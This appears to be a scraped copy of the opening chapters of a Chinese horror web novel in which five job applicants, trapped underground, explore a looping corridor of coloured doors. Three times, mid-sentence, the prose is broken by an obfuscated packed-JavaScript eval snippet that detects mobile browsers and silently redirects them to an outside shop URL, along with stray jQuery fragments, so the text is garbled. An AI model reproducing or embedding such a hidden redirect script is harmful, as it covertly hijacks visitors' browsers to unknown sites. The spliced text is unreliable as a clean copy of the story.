《在恐游里一命通关》 1. 倒霉的面试者们 在他们面前的是一条幽深漫长的走廊,走廊尽头有一扇黑色的木门。 而走廊两边分别有四扇颜色各异的门。 左边:红门、绿门。 右边:蓝门、黄门。 他们完全不知道这四扇门背后有什么。 也许藏着一个手拿菜刀的屠夫,也许有一个吃人的怪物,也许只有一只无害的小猫…… 所有的恐惧都来源于未知,想要逃出生天,只有勇敢面对未知。 - 两天前,翟烬收到一条面试通知。 【翟小姐:您的简历已经通过了我公司初步筛选,现邀请您参与明天上午十点的面试,地址:科创大厦1808南北纬度旅游管理有限公司。】 这是毕业三个月以来,翟烬收到的唯一一个面试通知。 对于一个大学四年都在打游戏、科科及格水平、毫无工作经历的“闲散人员”来说,翟烬对这次面试没有抱多大希望。 但为了找份像样的工作,她必须去试一试。 第二天,翟烬准时抵达科创大厦1808。 和她预想中的一样,来面试的不止她一个。 除她以外,站在公司门口的一共有四个人。 一个一米八几的皮衣帅哥。 一个身材娇小的萌妹。 一个正在抽烟打电话的中年男人。 一个正向她看来的格子衫帅哥。 翟烬正纳闷他们怎么都站在门口的时候,一直在观察她的格子衫帅哥朝她走来,他皱起好看的眉毛,语气里透着疑惑:“你好,请问一下,你也是来面试先锋科技有限公司的程序员吗?” 翟烬摇了摇头:“不是,我是来南北纬度旅游管理有限公司面试导游的,这里是科创大厦1808吧?” 格子衫帅哥点头:“地址是对的,但公司名字不对,好奇怪,其他人收到的面试邀请公司名字也不一样。” “他们公司门口应该挂了公司的招牌吧?”翟烬带着困惑,几步走到公司门口,看向黑黢黢的里面。 令人不解的是,玻璃门后面的办公区没有任何装修痕迹,就像开发商才修好的清水房。 一旁的萌妹小声嘀咕:“可能有人在恶作剧,我们一起走吧,别浪费时间了。” 翟烬轻叹一声,也好,她可以继续回家打游戏了。 ——“喂,你好,是平山食品有限公司吗?”中年男人的声音一瞬间将所有人的注意力转移到他脸上。 难道他打通了这家公司的电话? 众人不约而同看向他。 只见中年男人眉头紧锁,拿着手机,听了许久才从嘴里蹦来出一句:“我听不懂你在说什么,能不能说中文?” 中年男人抬眸看向其余四人,语气无奈:“你们也听听,她是不是说的外文?” 他点开免提,一个略显机械的女音从中年男人手中传来:“啊搜地哈维iv比海域,哦i和我饿大雾i,怕死阿斗阿里速度吧……” “好了,我们走吧,估计就是被人耍了。”格子衫帅哥的脸上浮出一丝自嘲。 四个人一起回到电梯门口,翟烬按住下楼的按钮,回头瞥了眼还站在门口的皮衣帅哥,好心催促道:“帅哥,你不和我们一起走吗?” 皮衣帅哥保持着刚才的站姿,不发一言,只低头看着手机。 “他从刚才开始就一直不说话,咱们不管他了——”中年男人突然话锋一转,“等等,他会不会就是把我们叫来面试的人?” “你们……”萌妹忽然开口,“没觉得这特别像无限流小说的展开吗?一群人被召唤到一起之后,接下来会有个高冷大佬作为‘引路人’解释游戏规则,而那个皮衣男装模作样的气质完美符合这种人设。” 其余三人纷纷用看傻子的表情盯着萌妹。 “不好意思,我是写网文的,脑洞比较大。”萌妹挠了挠头,害羞地看向别处。 话音刚落,皮衣男转身朝他们走来,表情和预想中的一样冰冷,仿佛谁都没看在眼里。 他目光扫过其他人,边走边说:“抱歉,我刚刚在填学校的资料,所以暂时没办法分心。” 电梯抵达后,五个人一起走进去。 一般来说,出了电梯他们就会各奔东西,人海茫茫,这辈子都应该不会再遇见。 但电梯却没在一楼停下,它仿佛出了故障,依然在不停地往下。 当电梯显示“-10”楼时,众人不约而同掏出手机准备报警。 “怎么没信号?”格子衫帅哥顿时显得有些惊慌,束手无策看向其他人。 皮衣帅哥依旧面无表情看着手机。 中年男人眉头拧成一个“川”字,似乎在想办法。 翟烬则是一片茫然。 只有萌妹开了口,语气隐约透着兴奋:“要是回去了,我要把今天的遭遇当做写作素材,下本就开无限流吧。” 叮—— 梯门打开,电梯稳稳停在“-18”层。 众人诧异地望向外面的世界,虽然能离开电梯了,但没人敢出去,就好像走出去以后,他们就会从这个世界上消失一样。 在他们眼前的是,一条长而狭窄的走廊,走廊尽头有一扇黑色的木门。 走廊两边分别有四扇颜色各异的门。 左边:红门、绿门。 右边:蓝门、黄门。 这显然不属于人间该有的场景。 翟烬冒出一个骇人的想法,难道电梯坠落,他们都死了? 这里是地狱吗? “我的手机还是没信号,你们呢?”格子衫帅哥开口,声音微微颤抖。 “我也没有。”大家异口同声。 萌妹镇定了一会儿,缓缓道:“我们可能穿进异世界了,得自己想办法出去,别想着有人来救……这里的电梯肯定也用不了了。” 中年男人不信邪,按住电梯一楼的按钮,但就如萌妹所说的那样,电梯微丝不动。 翟烬的声音平静如常,她半眯着眼睛望向前方:“我们五个一起下电梯,前面不是有个黑门吗?或许那边有出口?” “嗯,一起走,千万别分开。”中年男人同意翟烬的观点,其余几个却没表达看法。 但等翟烬和中年男人离开电梯后,他们也跟上了。 五人刚离开电梯,梯门就迅速合上,而旁边却没有呼叫电梯的按钮。 这意味着他们没有退路,只有往前走。 萌妹完全没有刚才那般兴奋了,她咬了咬唇,故作轻松地问:“既然暂时不能出去,我们现在要不要先自我介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127239|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍一下?方便我们叫对方的名字。” 翟烬看了眼神色各异的其他人,回答得爽快:“我叫翟烬,今天本来是想面试导游的。” 萌妹紧跟着开口:“我叫徐清月,是个兼职网文作者,今天是来面试行政岗位。” 中年男人声音沉沉:“我叫王国平,想找个厨师的工作。” 格子衫帅哥笑容腼腆:“我叫蒋越川,程序员。” 最后轮到皮衣帅哥,他神情淡淡的:“我叫陆凌,是来实习的。” 自我介绍完毕,接下来他们要面对非常棘手的问题:怎么从这鬼地方逃出去? “前面那扇黑门看上去像是出口,咱们先去那边瞧瞧。”翟烬带头走在最前方,蒋越川一个箭步跟上来。 “你一个女生胆子还挺大的,居然不觉得害怕吗?” 翟烬侧头看向蒋越川。 他的眼睛是极淡的琥铂色,在微弱的灯光下,泛着浅淡的、近乎透明的光泽,绯色的嘴唇微微勾起一个弧度,像是春风拂过冰面,无声无息。 “因为我喜欢玩恐怖游戏,所以见怪不怪。”翟烬回了他一个人畜无害的微笑。 就蒋越川的外表来看,这种毫无攻击性的长相自带亲近感,和谁都能相处融洽。 翟烬的男性好友不少,虽然都是网友,但她或多或少对这类男性有所了解。 蒋越川大概想抱她的大腿,才主动找她聊天。 “哇!这么厉害,那你一定听说过‘我是boss最严厉的父亲’这个up吧?”蒋越川眼底闪过一丝狂热,“我超爱看她的一命速通。” 好巧不巧,翟烬就在做UP。 她有两个号,一个叫“肉食教母”,专门做美食打卡,因为不出镜,所以粉丝很少。 另一个则是她玩游戏的直播号,名字就叫“我是boss最严厉的父亲”。 作为一个没有露过脸,拥有百万粉丝的UP,在现实中偶遇自己的粉丝倒是头一次,但翟烬是个冷心冷情的人,她不会因为蒋越川是她的粉丝,就让他抱大腿。 ——况且,现在白嫖怪那么多,看完视频连个赞都不会点。 谁知,蒋越川忽然压低声音,在她耳边说:“悄悄和你说,我是她的榜一大哥。” 翟烬愣了下,下意识追问:“是吗?……你的ID叫什么?” 蒋越川定定地注视她,好像在观察她的表情:“性感大蟑螂。” 翟烬整个人完全僵住。 蒋越川就是那个在她被黑粉群嘲时,挺身而出,和黑粉大战三天三夜,之后还给她打赏十万块的蟑螂金主? 冷心冷情的翟烬,在此刻差点热泪盈眶。 她发誓,就算是死也要把蒋金主带出这个鬼地方。 翟烬佯装冷静地点头:“哦,这名字取得有点特别。” 前面的翟烬和蒋越川聊得热火朝天,后面的王国平也在和徐清月打听她投简历的过程,最终两人得出一个推论,让他们来面试的人应该对他们都很了解,甚至知道他们想找的工作种类。 但至于他们为什么被选中,可能只有等出去以后才能弄清楚。 “你们为什么不去旁边的这四道门先看看?” 走在最后的陆凌停在一扇绿门前,望向离他越来越远的其他人。 2. 绿门黄门蓝门红门-遗书 徐清月顺着陆凌的视线,看向他身侧的绿门,理所当然道:“它一看就不是出口,颜色太怪了。” 在他们说话的时候,翟烬已经推开了尽头的黑门。 令人意想不到的是,黑门后的场景和他们身后的场景别无二致。 左边:红门、绿门。 右边:蓝门、黄门。 这两个空间一比一复刻了? “外面是出口吗?”王国平声音洪亮,暗含某种期盼。 “不是,外面和我们现在所处的地方几乎一样,也是走廊,也有四个门……”翟烬欲言又止,一个想法从她脑子里窜出来。 为了验证这个想法,她必须要探索身后走廊的那四扇门。 “我们现在暂时不要离开这里,先把那四扇门检查完毕,看能不能找到一些线索。” 说完,她转身看向身后的蒋越川,将刚才的猜测和他分享:“你觉不觉得现在的场景有点像找异常的恐怖游戏?” 找异常的恐怖游戏,最大的特点就是场景重复。 每一关的场景几乎都一样,玩家需要记住起始关卡看到的场景细节,再进行下一关,一旦发现下一关的场景有了变化,就要回到上一个区域,此时的上一个区域才是新的关卡,如果不管不顾继续往前冲,则会游戏失败。 至于游戏失败会发生什么,就不得而知了。 蒋越川眼眸一亮,就像发现了新大陆:“还真有点像,那我们先把这一区域的场景记住。” 两人和身后的徐清月、王国平商量,先对这片区域进行探索,同时记住这里的场景,顺便搜索一下物资。 王国平听后提出疑问:“我想问一下,为什么一定要记住这里的场景?” 翟烬笑着耐心解释:“因为下一个区域几乎和这一区域完全一样,用老话解释就是我们现在遭遇了鬼打墙,如果一股脑往前走,肯定走不出去。” 翟烬选择用王国平他们这个年龄能听懂的方式解释,方便王国平理解。 “哦哦哦,原来是这样,还是你们年轻人懂得多。” 王国平看上去四十多岁,脸胖胖的,身体却不胖,反而很壮。 徐清月则若有所思撅起嘴巴,思绪完全游离在外:“喂,你们觉不觉得陆凌有点奇怪,也不跟我们说话,总是一个人在到处观察,他该不会是来过这种副本的大佬吧!” 众人:“……” 翟烬尬笑:“徐清月,我们先出去,你在想你的小说剧情。” 徐清月反问众人:“你们怎么就不信我呢?按照常理来说,我们五个人中间必须有个大佬带队,不然全是新手,肯定团灭,根据我的观察,就翟烬和陆凌最像。” 被提及的翟烬指着自己的脸:“我?我也是菜鸟。” 徐清月一口咬定:“那肯定是陆凌。” 蒋越川扬起嘴角,玩笑道:“难道我看上去不像大佬吗?” 徐清月也用玩笑回怼:“大佬可不会这么怂,除非你是装的。” 蒋越川嘴角的弧度僵在脸上。 王国平可不像他们三个那样轻松,他不时点开手机查看有无信号,心中更是忐忑不安。 “我们先检查绿门吧,陆凌就站在那里没动,可能发现了什么。”翟烬提议。 四个人回到陆凌停留的地方,翟烬和他解释了“找异常”的游戏玩法,然后问他:“你有没有发现什么?” 陆凌指着绿色的门:“那里面有腐臭味。” 众人你看看我,我看看你,同时想到一处。 翟烬见大家都紧张得要命,抿了抿唇,提醒道:“一会儿无论看到什么,发生什么,都不要惊慌,我们一定要逃出去,大家齐心协力,一定会成功的。” 说完,她第一个打开绿色的门。 吱呀一声过后,浓烈的腐臭味扑面而来。 众人屏住呼吸看着眼前的画面。 绿色的吊扇在机械地旋转,发出低沉的嗡鸣声。 翟烬的目光和其他人一样不由自主地投向吊扇中央的麻绳,以及绳上悬挂的那颗头颅。 由于重力的作用,它的脖子被拉长,勉强连接着头部与身体,而它削瘦的身体正随着吊扇的转动而悠悠旋转。 ——这里有个吊死的人。 徐清月呼吸急促,害怕得连尖叫都忘记,好一会儿才听到翟烬镇定地问她:“这个人是真实的人类,还是这个副本的NPC?” 副本的NPC…… 徐清月忽然没那么恐惧了。 “应该就是副本的NPC。” 就像她看过的无限流小说一样,副本里的“人”,很多时候并不是严格意义上的人。 对,没什么好怕的,只要他们能出去,她还要把这次经历改编成小说,一定会全站爆火! 翟烬走进绿色的门,将门边的风扇开关关掉,尸体缓缓停下,背对玄关。 尸体是个男人,穿着一件单薄的白色背心,下面是灰色运动裤,裤子湿漉漉的发黑,也许是血也许是别的污秽之物。 翟烬转头看着他们,眼神和刚才一样平静无波:“好了,接下来,我们要记住这个房间的所有细节,人多力量大,每个人都记一部分。” 绿色房间不大,一室一厅。 尸体是在白色椅子上吊着,双腿微微悬空。 客厅的黑色电视柜上有一个40寸电视,窗帘是浅灰色,地板是普通的褐色木地板。 客厅的细节好记,但里面那间卧室的细节就没那么好记了。 凌乱的深蓝色床单,五颜六色、被扔在地上的塑料袋,放在桌上的电水壶…… 翟烬刚想检查电水壶里面是否有水,余光就捕捉到卡在桌面和墙壁之间的一张纸。 她小心翼翼将那张折叠纸从缝隙之间抽出来,可能预感到什么,她背对正在记房间细节的其他人,然后摊开它。 【你好陌生人,我叫贺胧,是湖西市滨江区人,身份证号码为500……如果你能成功逃出,请将信纸背后我写的银行卡密码,和遗嘱转交给我家人……】 翟烬将纸翻过去一看,果然看到两串数字以及一篇安慰家人的遗嘱。 她又将纸翻回正面,开始阅读接下来的内容。 【2026年6月13号,我和朋友相约一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127240|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去南海市旅行,我们一行一共五人……】 南海市离他们现在所处的山城市有1400多公里远,而6月13号,距现在已经过了一个多月。 如果贺胧失踪,怎么他的家人没有报警? 【在海边吃完烧烤去KTV唱歌的时候,我们的包房被瞬移到了这个奇怪的地方,无论怎么走,都走不出去,后来我想起了以前玩过的恐怖游戏,提议他们和我一起找异常,绿门最简单,只需要记住房间的摆设,蓝门有个只说一句话的NPC,红门有怪物我们杀了它无数次,但黄门,黄门真不是人玩的,就算拿手机拍下它们,到了下一区域,手机里的内容也会消失!……过了五天,我们自己带的零食越来越少,大家都好饿,我的朋友们逐渐崩溃,有人提出不想走了,他们想留在原地,最后就剩我和发小还在闯关……三天前我和他在分析异常时产生分歧,他选择往回走,我选择往前走……昨天,我已经没有力气走路了,我想我发小的分析是对的,我可能进入了死循环……陌生人,预祝你成功。】 翟烬脸色微沉,这封信里面通篇没有提到绿门的尸体。 难道贺胧就是那具悬挂在吊扇上的尸体? “能给我看看吗?” 身后响起一道清冷的男声,男人的气息从她头顶传来,翟烬朝后仰头,撞进一双墨黑的冷眸。 在翟烬看来,陆凌是那种自带距离感的男性,如今却不明缘由靠她那么近,翟烬不自觉拉开一点儿距离,再将遗书递给他:“你先不要和他们说里面的内容,我怕有人承受不住,会精神崩溃。” 他接过以后,淡淡地“嗯”了一声,只扫了一眼遗书上正反面的内容,就将它又递还给她。 “你没看内容?”翟烬蹙了蹙眉,原本还想和陆凌商量下一步怎么走,但他似乎对遗书里的内容兴趣不大。 “我看完了。”陆凌眼中闪过一丝莫名其妙。 翟烬自然不信他能看那么快,也没和他争辩,将那封遗书塞进了双肩包。 临近中午,大家才将绿屋的房间细节记得滚瓜烂熟。 由于翟烬看了遗书,所以她提前知道了剩下的三个门里面有什么。 为了验证遗书内容的真实性,她选择下一个调查蓝门。 蓝门有个NPC,对他们应该无害。 翟烬带领众人走到对面的蓝门。 跟绿门一样,蓝门轻轻一推就开了。 正如遗书所说的那样,里面有个长相大众的年轻“男性”坐在沙发上。 那男人五官平平,是那种混入人群,很快就会融进人群的长相。 “你是谁?你怎么会在这里?”徐清月捂住嘴巴,显得十分吃惊。 翟烬知道这个只是NPC,所以她没把他放在心上,走进房间以后就开始争分夺秒记蓝屋的细节。 这里和绿屋的布局一样是一室一厅。 客厅有一张木质餐桌,四把餐椅,还有一个沙发,沙发上坐着一个穿卡其色卫衣的NPC,他正对面的电视柜上没有电视…… “没人能离开这里。” 那个只能说一句话的NPC忽然说话了。 3. 绿门黄门蓝门红门-素描画 “你也被困在这里了?”徐清月既震惊又惊喜,完全忽视了他刚才所说的话。 “没人能离开这里。”NPC端坐在沙发上,继续重复。 这就像某种不祥的暗示。 一时间,所有人的神情都十分凝重,翟烬走到NPC面前,用手掌在他面前晃了晃,然后故作轻松地安慰其他人:“大家别慌,他只是NPC,俗称假人,说的内容也只是程序提前设置的,不具有参考意义。” 她以前玩恐怖游戏的时候,遇到过无数个乌鸦嘴NPC,游戏制作组会故意让他们说一些骇人听闻的话,增加玩家的心理恐惧。 话是那么说,但NPC的话无疑让每个人心里蒙上一层阴影。 翟烬和蒋越川抓紧时间走进蓝屋的卧室记细节,这里比绿屋整洁得多,白色的单人床,空无一物的书柜,蓝色的窗帘。 翟烬记下这些细节后,蒋越川似乎察觉到她神色不对,冷不丁关心道:“你脸色不好,发生什么事了吗?” 其实翟烬从看到贺胧的遗书开始就变得心绪不宁。 “你说我们现在所处的区域,到底是不是起始关卡?” 贺胧的遗书似乎在暗示她,这里不是起始关卡,而是某个错误的区域,否则贺胧也不会困死在这里。 如果是这样,那他们现在就应该回退,但能回退的地方现在是电梯口,这意味着他们只能选择往前走。 前面的区域或许没有异常,也或许有异常,但他们都无从得知了,因为他们没有经历过起始关卡,没有参照物。 蒋越川没有回答她的问题,他看了眼手腕上的智能手表:“现在已经十三点零五分了,我和我爸约定吃饭的时间是十二点半,如果我没按时回家,他肯定会打电话给我,找不到人就会报警。” 他好像在安慰她,但这个地方明显不属于人间,警察根本找不到。 “哦对了,你要不要吃点东西?我面试之前买了袋巧克力准备送人,但现在我们更需要这袋巧克力。”说着,蒋越川从斜挎包里掏出一袋金灿灿的巧克力。 翟烬由衷敬佩蒋越川这样的人。 一般来说,遇到突发情况,人们都会优先考虑自己,除非万不得已或者别有所图,没人会大方地将自己的物资分享给其他人。 蒋越川塞给她十粒巧克力,又转身给外面的三个人分发,到最后他自己都所剩无几。 翟烬头一次遇到这样的男菩萨,不免对蒋越川刮目相看。 她一边撕开巧克力的包装纸,一边开始思考接下来的行动。 “翟烬,你是不是之前就认识蒋越川了?”徐清月似乎又有了恋爱小说的灵感,突然挤眉弄眼地靠近翟烬,“总感觉你们两个之间的氛围很不一样。” 翟烬沉默不语,那肯定不一样啊! 蒋越川是她的蟑螂金主! 回去她要带他在游戏里组队虐菜。 “不认识,不认识。”翟烬回答得飞快,然后绕开徐清月看向其他人,“外面的细节你们记完了吗?没问题的话咱们出发去下一个房间。” 临走之前,翟烬在蓝屋找到两把菜刀,一把她拿着,一把她给了陆凌。 由于只有他们两人看了遗书,所以他们知道红屋存在怪物,如果没有武器会比较难办。 至于现在这个区域是不是起始关卡,翟烬也暂时不纠结了,因为他们只有前方一条路。 接下来,他们要去的地方是遗书中提到的黄门。 贺胧在遗书中提到“黄门真不是人玩的”……这到底是什么意思? 很快,翟烬知道了贺胧当时的心境。 推开黄门后,里面既没有怪物,也没有NPC,而是大大小小、贴满整个房间的上百幅素描画! 每张画的内容也完全不一样,有植物,有人物,有动物,还有街景图…… 就算他们每人记30张,也很难保证记下的画面完全正确。 “这要怎么记?”王国平绝望地坐在门外,声音也不似刚才那般洪亮。 徐清月一拍手,神情舒展开来:“好记性不如烂笔头,我们可以用手机把它们都拍下来啊!” 只有翟烬和陆凌知道,手机拍下来后,到了下一区域,刚才拍下的内容会全部消失。 这就像游戏里的防作弊机制。 就在翟烬准备将遗书公之于众,引导众人接受现实的时候。 许久没说话的陆凌忽然开口:“不要用手机拍,我刚刚已经实验过了,这里磁场有问题,用手机拍的照片过一会儿就会消失……但你们也不用担心,这些画我一个人就能记下来。” 其余人都不约而同望着他,带着些许怀疑。 徐清月将信将疑:“你的记忆力这么好?” 陆凌微微点头,脸上没有多余的表情:“嗯,你们都出去,别挡着我记画,翟烬,你留一下,我有话和你说。” “呀,还有悄悄话,有什么事不能分享给大家?”徐清月又看了眼蒋越川,脑中已经有了修罗场剧本。 “不是悄悄话,只是想和翟烬商量一下。”陆凌似乎有点尴尬地撇开视线。 蒋越川面上看不出丝毫变化,听话的和其他人一起离开黄屋。 陆凌站在黄屋正中央,黑眸扫过每一张画,语气里不带任何情绪:“把我们骗过来面试的人,对我们进行了筛选,组了一个临时小队。” 翟烬双臂环于胸前,挑了挑眉:“哦?” 陆凌将目光停留在她脸上,那双眼睛像一潭了无生机的死水:“我是学美术的,只要见过的画面和文字,都会记很长时间,他把我引到这里,绝对不是巧合,我们五个人一定都有不寻常的地方。” 晦暗的灯光下,青年的侧影稍显单薄。 陆凌有一副令人过目难忘的外表,皮肤是久不见阳光的冷白,近乎瓷质,衬得眉眼愈发深邃。 但帅哥说话都带有一点迷惑性。 要不是陆凌把她包括在内,翟烬就信了。 因为翟烬没觉得自己身上有不寻常的地方——除了会打游戏。 翟烬干笑一声,选择略过这个话题:“陆凌,我其实在担心一件事,我们现在所处的地方可能不是起始关卡,这里的场景也许也存在异常,只是我们没有参照物,无法找到它,当然这一切都要等我们到下一个区域才能发现,但下一个区域也许也有异常,反正你先记一记这里的画,到了下一个地方再对比。” 翟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127241|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烬觉得自己说了一通废话。 “嗯,这些画我都记住了,我们抓紧时间去下一个房间……”陆凌忽然想起什么,把菜刀递给她,“我可能不太会杀怪,这把菜刀你给王国平更合适,他是厨师,杀鸡杀鸭之类的事没少干。” “……”翟烬,“哦。” 出了门,翟烬走到正在尝试用手机报警的王国平面前。 “王叔,你会杀动物吗?鸡鸭一类的动物。” 王国平抬起脸,或许聊到热爱的工作,他脸上的神色终于有了一丝松懈:“当然会,村里面杀年猪也会叫上我。” 翟烬把菜刀递给他,眼中满是期待:“那要是一会儿遇到怪物,你就用这把菜刀把它杀死。” 王国平目瞪口呆:“啊?” 接下来,他们要去遗书中提到的红门。 贺胧在信中提到过,那里有怪物。 为了让大家有个心理准备,翟烬思来想去在进入红门前和他们公开了那封信。 正如她先前预料的那样,另外三个人在看到那封信后,都神情大变。 蒋越川先是大惊失色,而后又转过头安慰其他人:“没事,咱们只要小心行事,团结一致,一定能逃出去。” 徐清月脸色惨白跟着附和:“嗯嗯,一定能逃出去。” 王国平则直接握紧了手中的菜刀,双目圆瞪恶狠狠道:“你们放心,不管那里面是什么,一会儿我都乱刀砍死!” 做了一番动员之后,翟烬深吸一口气,屏住呼吸,打开红门。 翟烬在游戏里见过不少猎奇的怪物。 有身上长满眼睛的、有身高异于常人的、也有虫身人脸的……但没见过外形是婴儿的怪物。 这是游戏制作组为了规避伦理问题,所形成的默契。 所以婴儿不能做成怪物。 浅木色的婴儿床上,一个穿着粉色爬爬服的女婴正倒在里面呼呼大睡,发出细微的鼾声。 更让人惊奇的是,床下的收纳架上还放着奶瓶、奶粉、一袋开封的尿不湿。 她就是红屋的怪物吗? 要杀她吗? “我、我做不到……万一她和我们一样是人,我就杀人了,不行不行,我还有妻女要养,我不能杀人。”王国平手中的菜刀微微颤抖,冷汗直流。 “我去瞧瞧。”翟烬握着菜刀向女婴走去。 徐清月吓得捂住嘴巴,眼中满是惊恐:“翟烬你这是要杀她吗?你你你……我先出去了,对不起,我很难受,有点想吐。” 陆凌皱了皱眉向翟烬走去,蒋越川抬手看了眼智能表上显示的时间,自言自语:“正好十四点半了。” 翟烬小心翼翼扶着婴儿床的一角,低头朝里观察。 一般来说,恐怖游戏都会在人松懈的时候,突然来一个惊吓,以达到把人吓死的目的。 这个女婴很可能就是个诱饵,用来迷惑人。 也许她会突然睁开血红的双眼,张口血盆大口,朝翟烬扑过来。 这些场景翟烬都预想过,所以老早就有了心理准备。 她将两指并拢,放在女婴的鼻头下方,然后神情一滞。 和蓝屋的NPC不同,她有呼吸。 4. 绿门黄门蓝门红门-异常 这个女婴可能是人类。 “别杀她。”陆凌的视线落在女婴脸上,“蓝屋的人身上没有味道,但她身上有奶味。” “……你能确定她是人类吗?”翟烬若有所思凝视女婴酣睡的小脸蛋,红扑扑的,很可爱。 但不能因为可爱,就对她掉以轻心。 “不能,但我们可以不管她,继续下一关,只是她可能会饿死在床上。” “或者我们一行人带她离开这里。” 陆凌一口气说了两种方案,不带任何的个人情绪。 话都说到这份上了,翟烬怎么可能见死不救。 找异常的恐怖游戏,游戏核心是让玩家选择正确的前进方向,并没有规定玩家不能带走区域里的人或者物。 但作为未婚未育的单身女性,翟烬想到一个至关重要的问题。 “你们谁带过孩子?” 陆凌茫然地摇头,仿佛遇到了难解的数学题。 站在门口的蒋越川则是神色慌张,面色微微涨红:“我还没结婚,也没女朋友。” 翟烬:谁问他了? 王国平虽然有女儿,但早年出去打工,孩子都是老婆在带,面对翟烬求助的目光,他也跟着摇头。 “我!我会!”躲在门口的徐清月探出个头,眼中溢出浓浓的兴趣。 “嗯?你会?”翟烬半信半疑,这徐清月看上去比她还小,她这么早就当妈妈了? 徐清月轻轻点头,显得有些不好意思:“我孩子都两岁了。” 翟烬面露诧异,上下打量徐清月。 徐清月笑颜如花,好像早就习惯别人用惊讶的目光看她。 “我已经28了,只是长得年轻。” 翟烬的目光由震惊变为羡慕,这姐平时怎么保养的?回头要问她养生秘诀。 “徐姐,那这孩子交给你了,我们一起把她带出这片区域。” 徐清月目瞪口呆:“你说什么?” 翟烬清了清嗓子,神情变得越来越严肃:“这个女婴可能是人类,我们总不能对她见死不救吧?” 她知道在这种时候,大家都只想自保,徐清月害怕女婴有问题,拒绝照看也是人之常情。 徐清月虽然有些为难和害怕,但听翟烬这么一说,也放下戒心,朝婴儿床走来。 在看到女婴熟睡的小脸时,不知道是不是回想起了自己的女儿,她的恐惧荡然无存,只剩对逃出这里的决心。 “好。” 其余几人把女婴的奶粉、奶瓶和尿不湿分别装进包里,徐清月则小心翼翼抱起女婴,让她小小的头枕在自己肩头。 继续出发。 因为身后是电梯门,他们唯一的选择是继续朝前。 翟烬再一次将前面的黑门打开,和上一次看到的一样。 左边:红门、绿门。 右边:蓝门、黄门。 好,光是看外面的颜色,这里和刚才的区域一样,接下来他们要检查里面的细节是否存在异常。 当然翟烬还想到一种可能,那就是他们刚才经历的区域也存在异常,不能完全对照,因此她打算检查完所有房间后,再和其他人探讨这个问题。 “你们想先去哪个房间?”翟烬看着众人。 大家你看看我,我看看你,似乎都在等对方先说,最后陆凌提议:“先去黄门,我看得快一些。” 黄门里都是素描画,对于普通人来说反而是最难的。 徐清月朝翟烬眨了眨眼睛,仿佛在说“陆凌绝对是大佬”。 五分钟后,陆凌从黄屋出来。 “黄屋没问题。” 翟烬:“你确定吗?” “嗯,确定。” “下一个房间,我们去蓝屋吧,那里只有一个NPC,比较安全。”蒋越川淡淡地瞥了眼翟烬。 “嗯。” 但在打开蓝门之前,翟烬想起一件事。 她把自己手上的菜刀给了蒋越川,叮嘱:“你和徐清月在外面等我们,要是遇到危险你就保护她们。” “……”蒋越川握着刀柄,“嗯,你放心。” 翟烬开门走进蓝屋,发现这里跟上一个区域一样。 客厅有一张木质餐桌,四把餐椅,还有一个沙发,沙发上坐着一个穿卡其色卫衣的NPC,他正对面的电视柜上没有电视…… NPC依旧机械地重复:“没人能离开这里。” 好了,蓝门貌似也没问题。 王国平和陆凌也走进去看,陆凌的眼睛扫过房间里的每一个角落,然后十分笃定地说:“完全一样。” 王国平则死死盯着假人NPC,防止他突然站起来攻击他们。 他们退出蓝门后,众人又为先去红门还是绿门商讨了一番。 翟烬想先去绿门,因为绿门相对红门里可能出现的怪物会更安全一些。 但王国平却提议先去红门。 “我想看那到底是什么怪物。”说着,他的目光不由自主看向徐清月怀中的女婴。 “你是想证明那女婴到底是不是人类吧?” 许久不说话的陆凌一针见血。 “如果那个房间里也有个女婴,就证明她不是人。” “嗯,那我们先去红屋,蒋越川、徐姐,你们在外面等我们。”翟烬看向一边拿着菜刀的王国平,神色有些凝重,“王叔,我们走。” “还有我。”陆凌不忘在后补充。 三人一起走进红屋。 房屋正中央没有婴儿床,当然更不会有婴儿。 就在大家松一口气的同时,一股寒意冒出来。 那这个房间的怪物呢? 某种不明液体掉落在翟烬的头顶之上,缓缓渗入头皮,带来丝丝凉意。 就在她要朝上看时,王国平猝不及防大喊一声:“快躲开!” 陆凌眼疾手快,在那一瞬间握住她的手腕,朝他的方向猛地一拽,两人一起卧倒在地。 翟烬顿觉天旋地转,还来不及抬头,一根滑腻、冰凉的条状物掉落在她耳旁。 “啪嗒!” 翟烬抬眼去看,一副惊悚怪诞的景象映入眼帘。 天花板上吸附着一颗黑乎乎的“东西”,从它身体里长出来的触须数量多得吓人,它们张牙舞爪挥舞着,处于完全失控的状态。 而让它发狂的原因,大概是那把不断砍向它触须的菜刀。 翟烬莫名其妙想起陆凌和她在黄屋说的话。 ——“我们五个人一定都有不寻常的地方。” 